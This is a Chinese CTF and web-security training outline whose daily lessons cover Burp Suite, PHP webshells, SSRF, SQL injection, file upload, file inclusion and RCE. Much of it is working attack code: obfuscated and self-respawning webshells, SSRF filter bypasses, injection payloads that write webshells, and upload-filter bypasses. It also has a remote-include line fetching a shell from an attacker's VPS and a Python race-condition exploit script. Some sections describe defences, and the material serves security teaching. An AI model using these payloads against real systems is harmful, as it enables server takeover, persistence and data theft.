写在前面 老 web 🐕了
课程大纲
2021.2.6——黑客竟在我身边
Burpsuite 功能介绍
安装
- 百度、csdn 都有教程,跳过
proxy模块
- 代理模块,相当于在客户端和服务端中间的一个关卡,可以拦截、修改、丢弃所有的流量包
intruder模块
- 用来爆破的模块
Target
Positions
Payloads
- Payload Sets
- Payload options
- Payload Processing
- Payload Encoding
Decode 模块
- burp里的编码解码工具,可以进行一些编码转换、hash加解密,还有个智能解码的功能
一句话木马讲解
- 一句话木马,它是个可执行脚本文件, 把脚本文件上传到目标服务器 然后文件被解析执行,就可以达到控制目标服务器的目的,主要是内置危险的命令执行的函数,可以通过传参来在目标主机上远程执行一些命令
- 经典例子
<?php
@eval($_POST['hack']);
?>
传🐎成功条件
- 木马能成功上传到服务器
- 我们知道木马上传到服务器的路径(绝对路径)
- 上传的木马能被解析执行
传统🐎检测一般是
正则表达式
和黑名单(关键字)匹配
绕过思路:
绕过php代码标志 <? 的限制
<script language="php">@eval($_POST['x'])</script>
拆分拼接
<?php $arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组 $payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert //php版本要求:<=7.0 @$payload(@$_GET['x']); ?>
编码
<?php $a=base64_decode("YXNzZXJ0"); @$a($_POST('cmd')); ?>
随机异或,用异或运算来组成字符
这个骚 payload 骚姿势特别特别多,真的意想不到,极限绕过
<?php //也可以用十六进制进行进一步加密,例如 //$r="x4d"^"x3f"; $a="Y"^"8";//a $b="T"^"'";//s $c="*"^"O";//e $d="M"^"?";//r $e="-"^"Y";//t $payload=$a.$b.$b.$c.$d.$e;//拼接成assert @$payload(@$_POST['x']); ?>
可变函数
<?php @$_REQUEST['e'](@$_REQUEST['x']); //传入e=assert&x=command ?>
可变变量
<?php $a='assert'; $b='a'; //$$b=$a='assert' $$b($_POST['x']); //assert($_POST['x']) ?>
使用回调函数,回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
# 函数:call_user_func ( $callback , $parameter) # $callback :被调用的回调函数 # $parameter:0个或以上的参数,被传入回调函数。 <?php @call_user_func($_GET['id'],$_POST['a']); //传入id=eval&a=command ?>
🐎的特征与查杀
代码执行函数 | 命令执行函数 |
---|---|
eval | exec()--执行一个外部程序 |
assert | passthru()--执行外部程序并且显示原始输出 |
pre_replace | proc_open()--执行一个命令,并且打开用来输入/输出的文件指针 |
create_function | shell_exec()或 --通过shell环境执行命令 |
file_get_content | system()--执行外部程序,并显示输出 |
回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等 | popen()--通过参数传递一条命令,并对popen打开的文件执行 |
文件操作函数 | 包含函数 | 特殊函数 |
---|---|---|
file_ get_contents 一将整个文件读入为一个字符串、- file_ put_ contents 一将一个字符串写入文件 | require、require_once | phpinfo |
file()一把整个文件读入一个数组中、fopen一打开文件或者URL | include、include_once | 变量覆盖 parse_str、extract |
move_ uploaded file 一将上传的文件移动到新位置 | ||
readfile一读取一个文件,并写入到输出缓冲 | ||
rename一重命名一个文件或目录 | ||
rmdir一删除目录 | ||
unlink & delete 一删除文件 |
不死🐎
不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = './.index1.php'; $code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>'; //pass=nepnep 用法:pass=nepnep&cmd=command while (1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" .index1.php'); usleep(5000); } ?> # ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机# 断开后脚本仍然会执行。 # set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。 # unlink(__FILE__): 删除文件本身,起到隐蔽自身的作用。 # usleep():延迟执行当前脚本若干微秒。
如何查杀不死🐎
重启服务,比如php 等web服务。
创建一个和不死马同名的文件夹。
删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。
竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。
菜刀蚁剑使用介绍
- 传🐎路径填上去,密码填上,懂得都懂了
2021.2.7——让我康康,你的内网里有什么好康的
PHP
- PHP 是世界上最好的语言
- 安装
phpstudy
SSRF
Server-Side Request Forgery(服务器端请求伪造)
:由攻击者构造形成,由服务端发起请求的一个攻击漏洞,形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据数据流:攻击者----->服务器---->目标地址
- 容易使用不当产生 SSRF 的危险函数:
file_get_contents()
、fsockopen()
、curl_exec()
举例
//file_get_contents
<?php
if(isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().'.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
echo $img;
}
else
{
echo "no url";
}
?>
//fsockopen
<?php
function GetFile($host,$port,$link){
$fp = fsockopen($host,intval($port),$errno,$errstr,30);
if (!$fp) {
echo "GET $link HTTP/1.1\r\n";
}
else{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .="Connection Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents = '';
while (!feof($fp)) {
$contents .= fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
//curl
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
危害
- SSRF 本质是能控制服务器端的请求
- 内网探测
- 利用 file 协议读取本地文件等
- 向内部任意主机的任意端口发送 payload ,从而达到攻击内网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 struts2、sqli等)
- DOS 攻击,让服务器端去请求一个很大的文件,一直占用服务器资源
一些绕过
加端口
127.0.0.1:80
短网址
指向任意 IP 的域名 xip.io
127.0.0.1.xip.io
IP 限制绕过
十进制转换 (转换成十六进制再转换回来,把
.
换成0
,比如http://0x7f000001
,十进制就是http://2130706438
)八进制转换
http://0177.0.0.1
十六进制转换
http://0x7f.0.0.1
不同进制组合转换
@
符号绕过http://www.baidu.com@127.0.0.1
后面加参数
http://127.0.0.1?a=sdlafkjadsl
2021.2.8——诶,?id=1? 教你一把梭
数据库基础
基础的东西
就当复习一遍 sql 语法了
- 登录数据库:cmd 下
mysql -用户名 -p 按enter 输密码
- 查看库名:
show databases;
- 创建、删除、使用库:
create database 库名
、drop database 库名
、use 库名
- 创建表:
create table 表名
- 增删改查语句:
insert
:insert into 表名 values(一一对应字段的值);
delete
:delete from 表名 where xxxx;
update
:update 表名 set 字段名 = 值 where 键名 = x;
select
:select * from 表名;
- 常用变量:
database()
:查看当前数据库名user()
:用户version()
:查看数据库版本@@basedir()
:安装路径- ....
- 常用符号:
& and || or ^ xor
- 常用函数:
- 字符串截取函数
substr(database(),1,1)
substring
mid(database(),1,1)
left(database(),1)
- 编码函数
ascii()
hex()
char()
:ascii() 的逆函数
- 文件函数
load_file()
:读取文件内容
- 字符串截取函数
理解 sql 注入
闭合
# 常见sql语句 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $sql = "select * from data where id = '". $id ."""; # 如果输入 id = 1',拼接进语句能够得到 $sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1"; $sql = "select * from data where id = '". 1' ."'"; # 1后面的单引号用于闭合原语句最后的单引号
如果不给用单引号,可以使用在
\
来将$username
后面的单引号转义。然后我们想办法在$password
部分注释掉后面的单引号
常见的注入姿势
联合查询
联合查询的基本要求:
- 查询列数必须一致
- 查询语句的查询的各列类型、顺序最好一致
联合查询的步骤:
- 闭合
- 判断字段数
- 判断结果输出位置
- 爆库、爆表、爆列
重要数据库:
information_schema
,这个库中重要的东西:TABLE表
(提供了关于数据库中的表的信息(包括视图)),COLUMNS表
(提供了表中的列信息)爆库名
union select 1,2,database()
爆表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
union select 1,2, group_concat(table_name) from information_schema.columns where table_schema=database()
爆字段名
union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database()
报错注入
常用到的函数:
Updatexml
:更新xml文档的函数。 语法:updatexml(文档类型,xpath路径,更新的内容)
Extractvalue
:对XML文档进行查询的函数 语法:extractvalue(文档类型,xpath路径)
盲注:时间盲注和布尔盲注
if
表达式和sleep
函数if(expr1,expr2,expr3)
,举例:?id = 1' and 0 if(1,sleep(3),0);
如果 expr1 是 TRUE ,则 if() 的返回值为 expr2 ; 否则返回值则为 expr3,所以,第一个expr1 = 1 的时候就会触发 sleep 函数,延时3秒,这样延时差就产生了,这就是时间盲注的原理
布尔盲注就用
substr(database(),1,1)
和ascii()
函数搭配,截取database()
里的第一个字符,然后二分法一个一个比
堆叠注入
?id=1';insert into users values('114',database(),'hahhahaha'); --+
利用的是 mysql
分号结尾,能够在一个命令行内,执行多条语句
读写文件
需要修改 mysql 的一个配置项为
secure-file-priv=
文件读取函数:
Load_file(‘文件路径’)
写文件函数:
into outfile
、into dumpfile select '<?php eval($_POST[cmd]); ?>' into outfile '绝对路径’;
两个函数的区别在于:
因为
into outfile
函数会在行末端写入新行更致命的是会转义换行符,所以如果是利用 mysql 写一些 dll 或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用into dumpfile
就能导出一个完整能执行的二进制文件
好文推荐
https://www.anquanke.com/post/id/205376 SQL注入基础整理及Tricks总结
http://yulige.top/?p=80 郁离歌师傅的SQLI-LABS修炼笔记(一)(刷sqlilabs推荐)
https://xz.aliyun.com/t/7575 sql盲注的效率分析
2021.2.9——文件上传,yyds!
文件上传
什么是文件上传?文件上传有什么用。
文件上传漏洞介绍
一些web应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。文件上传漏洞就是利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中 ,再通过URL去访问以执行恶意代码。
<html>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
注意form表单里面的enctype属性为二进制数据multipart/form-data
注释:允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。
php jsp asp小马
相信大家已经听了南浔姐姐讲的web第一节课,了解了一句话木马的相关操
作,我给没赶上上次课的同学再简单说说
介绍一些
<?php eval($_POST[0]);?>#经典的一句话木马
<?php phpinfo();?>
<%Runtime.getRuntime().exec(request.getParameter("0"));%>
#https://www.jianshu.com/p/123db17b78a0 #jsp木马
<%execute(request("0"))%>
//https://www.w3school.com.cn/asp/met_execute.asp
//https://www.cnblogs.com/xiaozi/p/7560907.html #asp木马
我们将一些危险的代码上传到服务器让其执行就可能危险到服务器的安全
菜刀蚁剑介绍
文件上传如何利用?
现在我们知道了什么是文件上传和文件上传的危害,那么如何进行利用?
利用条件是什么?
- 能够绕过服务器上传脚本文件(php asp jsp)
- 知道上传文件的路径和文件名
文件上传绕过
但是一般的网站都会来验证用户上传的信息,下面介绍一下常见的校验方法和绕过方法。
实验靶机:upload-labswp
客户端校验
- javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以)
服务端校验
content-type验证 upload-labs 第二关
文件扩展名校验 (
白名单
、黑名单
) upload-labs 第三关白名单: png jpg gif 黑名单: (不能上传这些后缀名) php jsp asp
文件内容头校验(
GIF89a
)文件幻数检测文件内容检测 (检测内容是否合法或含有恶意代码 二次渲染配合文件包含二次渲染
绕过
找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断)
AddType application/x-httpd-php .php .php3 .php5 .php7
大小写绕过:AsP、pHP
文件后缀双写绕过 php ""
上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过
%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00
.htaccess绕过 (apache)
.user.ini绕过 (nginx)
.htaccess绕过
如upload-labs第四关
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
php网站在进行解析php的时候会首先解析当前目录下的配置文件
<FilesMatch "1.jpg"> //匹配文件
SetHandler application/x-httpd-php
//SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录
php_value auto_prepend_file ".htaccess"
#<?php eval($_POST[cmd]);?>
内容检测
一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等
绕过思路是去构造免杀的webshell
<script language=php>@eval($_POST[123]);</script>#PHP5 支持
实验
ctfshow web168
<?php
$func = 'syste'.'m';
$arr = array('cat ../f*');
array_map($func, $arr);
FUZZ字典
fuzz模糊测试
php3 php4 php5 php6
文件幻数检测(文件开头)
幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
要绕过文件幻数检测就要在文件开头写上如下的值
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47
在文件幻数后面加上自己的WebShell代码就行(常见的是GIF89a
)
图像文件相关信息检测常用的是getimagesize()
函数,需要把文件头部分伪造,也就是在幻数的基础上还加了一些文件信息。
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
竞争条件攻击
如upload-labs第十七关
一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。
服务器端在处理不同用户的请求时是并发进行的
如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
sleep(2);//检查操作
unlink($_GET['dst']);
}
?>
它先把文件保存在本地,再检查,然后删除
在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件
该文件就会被执行从而生成一个恶意shell
竞争删除前生成shell流程:
上传文件→访问执行文件,生成shell文件→删除不安全文件 (多线程访问)
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
.user.ini绕过
在php执行的过程中,除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini
中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini
加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif
- 需要当前上传的目录下有php文件
解析漏洞攻击
主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞。
防御
- 文件扩展名服务端白名单效验
- 文件内容服务端效验 <? php
- 上传文件重命名
- 隐藏上传文件路径
- 限制相关目录的执行权限,防范WebShell攻击
文件包含
程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。
但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞
demo实验
include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
//warning
include_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
本地文件包含(LFI)
用户可以控制包含的文件名,从而造成信息泄露和getshell
漏洞利用
1.读敏感文件
?file=/etc/passwd
2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php #这样能看到php文件的源码
4.包含日志文件getshell
路径
apache:/var/log/apache2/access.log
nginx:/var/log/nginx/access.log
3.包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码
5.session文件包含getshell
照片木马的制作
执行命令copy 1.png/b + 1.php/a 2.jpg
前两个文件合并成一个文件,文件属性为2.jpg
PHP中的封装协议(伪协议)
file://
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下
php://
条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input #用的比较多 输入流
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码
#1. php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
#ctfshow web78
#2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
#3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
data://
条件:
allow_url_fopen:on
allow_url_include :on
#ctfshow web79
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
作用
自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
远程文件包含(RFL)
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,
从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
漏洞利用
条件:php.ini
中开启allow_url_include
、allow_url_fopen
选项。
1、远程包含Webshell
?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
绕过姿势
url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
php://filter/read=convert.%2562ase64-encode/resource
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
文件包含getshell
zip:// & bzip2:// & zlib://
作用:
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
#经常使用于序列化
session.upload_progress
利用session.upload_progress进行文件包含
sess_flag
# coding=utf-8
import io
import requests
import threading
sessID = 'flag'
url = 'url'
def write(session):
while True:
f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat ../f*");?>'},
files={'file': ('a.txt', f)}
)
def read():
while True:
response = session.get(url+'upload')
if 'flag' in response.text:
print(response.text)
break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()
长度截断
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
那么在长度有限的时候,././././
(n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
防御
- 禁止远程文件包含
allow_url_include=off
- 配置
open_basedir=指定目录
,限制访问区域。 - 过滤
../
等特殊符号 - 修改Apache日志文件的存放地址
- 开启魔术引号
magic_quotes_qpc=on php 4 5
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
总结
文件上传经常和文件包含一起考察。 如:ctfshow web164
判断是黑名单还是白名单
白名单解析漏洞绕过,配合文件包含 照片二次渲染等等
黑名单扩展名绕过或.htaccess,.user.ini等绕过总结
include() url file_get_concent()
2021.2.10——黑客竟是我自己
什么是 RCE
- 全程
Remote Code Execution
,远程代码执行
RCE 能做什么
执行系统命令
记录用户输入
控制键盘鼠标
任意上传下载
魔性洗脑
截屏
奇思妙想
什么会导致 RCE
服务器上有木马
脆弱服务未授权
通过数据库写木马
文件上传、文件包含
危险函数(危险功能)
eval assert system shell_exec exec file_put_contents ...
命令执行
基本操作 ls cat cd pwd rm mv mkdir grep apt-get 系统资源 top ps netstat 网络相关 ifconfig curl wget ping 命令拼接符 ; && || 其他读文件命令 cat tac xxd od nl
反序列化
- 什么是反序列化
- 序列化是将一个对象转换成一个字符串,反序列化就是将这个字符串转换回一个对象
- 怎么反序列化
unserialize()
函数
- 反序列化怎么造成 RCE
- 用户可控制反序列化一些参数,从而执行危险函数或者跳转到其他方法(形成 ROP 利用链),以此达到命令执行
- 什么是反序列化
RCE 限制绕过
- 可能存在黑名单过滤,
- 可以采用字典来 fuzz,Linux 特殊符号:; && || | ` $() $ [] < > $IFS
- RCE 后命令执行无回显
- 反弹 shell
- dnslog
- 写文件
- curl 等网络命令
- RCE 后发现不可与外界进行网络连接
- 写文件
- 命令盲注
- 隐蔽信道
如何防御 RCE
针对危险函数,应该在危险函数代码前写好黑名单过滤特殊符号,或使用 disable_function 等手段
针对命令注入,尽量不使用命令执行函数,如果必须使用则对用户 输入部分加上引号,转义输入后再渲染
具体问题具体分析,永远不要相信用户的输入